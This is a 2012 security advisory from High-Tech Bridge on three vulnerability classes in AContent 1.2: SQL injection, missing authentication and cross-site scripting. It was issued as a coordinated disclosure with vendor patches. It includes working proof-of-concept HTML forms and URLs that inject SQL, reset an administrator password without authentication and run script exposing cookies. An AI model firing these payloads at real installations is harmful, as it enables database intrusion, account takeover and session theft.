Advisory ID: HTB23117
Product: AContent
Vendor: ATutor
Vulnerable Version(s): 1.2 and probably prior
Tested Version: 1.2
Vendor Notification: September 26, 2012
Public Disclosure: October 17, 2012
Vulnerability Type: SQL Injection [CWE-89], Improper Authentication [CWE-287], Cross-Site Scripting [CWE-79]
CVE References: CVE-2012-5167, CVE-2012-5168, CVE-2012-5169
CVSSv2 Base Scores: 7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P), 7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P), 4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
Solution Status: Fixed by Vendor
Risk Level: High
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ )

-----------------------------------------------------------------------------------------------

Advisory Details:

High-Tech Bridge Security Research Lab discovered multiple vulnerabilities in AContent, which can be exploited to bypass authentication and to perform Cross-Site Scripting (XSS) and SQL Injection attacks.


1) SQL Injection in AContent: CVE-2012-5167

1.1 The vulnerability exists due to insufficient sanitation of input data in the "field" HTTP POST parameter in /course_category/index_inline_editor_submit.php. A remote unauthenticated user can execute arbitrary SQL commands in application`s database.

The following PoC (Proof of Concept) demonstrates the vulnerability:


<form action="http://[host]/course_category/index_inline_editor_submit.php" method="post">
<input type="hidden" name="field" value="category_name-1 AND 1=(select min(@a:=1)from (select 1 union select 2)k group by (select concat(@@version,0x0,@a:=(@a+1)%2)))" />
<input type="hidden" name="value" value="1" />
<input type="submit" id="btn">
</form>


1.2 The vulnerability exists due to insufficient sanitation of input data in the "field" HTTP POST parameter in /user/index_inline_editor_submit.php. A remote unauthenticated user can execute arbitrary SQL commands in application`s database.

The following PoC (Proof of Concept) demonstrates the vulnerability:

<form action="http://[host]/user/index_inline_editor_submit.php" method="post">
<input type="hidden" name="field" value="password=((select min(@a:=1)from (select 1 union select 2)k group by (select concat(@@version,0x0,@a:=(@a+1)%2))))-1" />
<input type="hidden" name="value" value="1" />
<input type="submit" id="btn">
</form>


1.3 Input passed via the "id" GET parameter to /user/user_password.php in POST request is not properly sanitised before being used in SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.

The following PoC (Proof of Concept) demonstrates the vulnerability:


<form action="http://[host]/user/user_password.php?id=1' AND 1=(select min(@a:=1)from (select 1 union select 2)k group by (select concat(@@version,0x0,@a:=(@a%2b1)%252)))%20--%20" method="post">
<input type="hidden" name="submit" value="1" />
<input type="submit" id="btn">
</form>


Successful exploitation of vulnerability 1.3 requires attacker to be registered and logged-in.


2) Improper Authentication in AContent: CVE-2012-5168

2.1 The vulnerability exists due to absent authentication in the "/user/index_inline_editor_submit.php" script. A remote unauthorized attacker can change users' passwords.

The following example will change password for user with id=1 to 'password'.


<form action="http://[host]/user/index_inline_editor_submit.php" method="post">
<input type="hidden" name="field" value="password-1" />
<input type="hidden" name="value" value="5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8" />
<input type="submit" id="btn">
</form>


2.2 The vulnerability exists due to absent authentication in the "/course_category/index_inline_editor_submit.php" script. A remote unauthorized attacker can modify names for existing categories.

The following example will change category name with id=1 to 'new_category':


<form action="http://[host]/course_category/index_inline_editor_submit.php" method="post">
<input type="hidden" name="field" value="category_name-1" />
<input type="hidden" name="value" value="new_category" />
<input type="submit" id="btn">
</form>



3) Cross-Site Scripting (XSS) in AContent: CVE-2012-5169

Input passed via the HTTP GET parameters "pathext", "popup", "framed", and "file" to /file_manager/preview_top.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in user's browser session in context of an affected website.

The following PoCs (Proof of Concept) demonstrate the vulnerabilities:

http://[host]/file_manager/preview_top.php?pathext=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://[host]/file_manager/preview_top.php?popup=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://[host]/file_manager/preview_top.php?framed=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://[host]/file_manager/preview_top.php?file=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E



-----------------------------------------------------------------------------------------------

Solution:

Users should apply patches #1 and #2 using the AContent Administrator's Updater tool

More Information:
http://update.atutor.ca/acontent/patch/1_2/

-----------------------------------------------------------------------------------------------

References:

[1] High-Tech Bridge Advisory HTB23117 - https://www.htbridge.com/advisory/HTB23117 - Multiple vulnerabilities in AContent.
[2] AContent  - http://atutor.ca - AContent is an open source learning content authoring system and respository used to create interoperable, accessible, adaptive Web-based learning content.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

-----------------------------------------------------------------------------------------------

Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.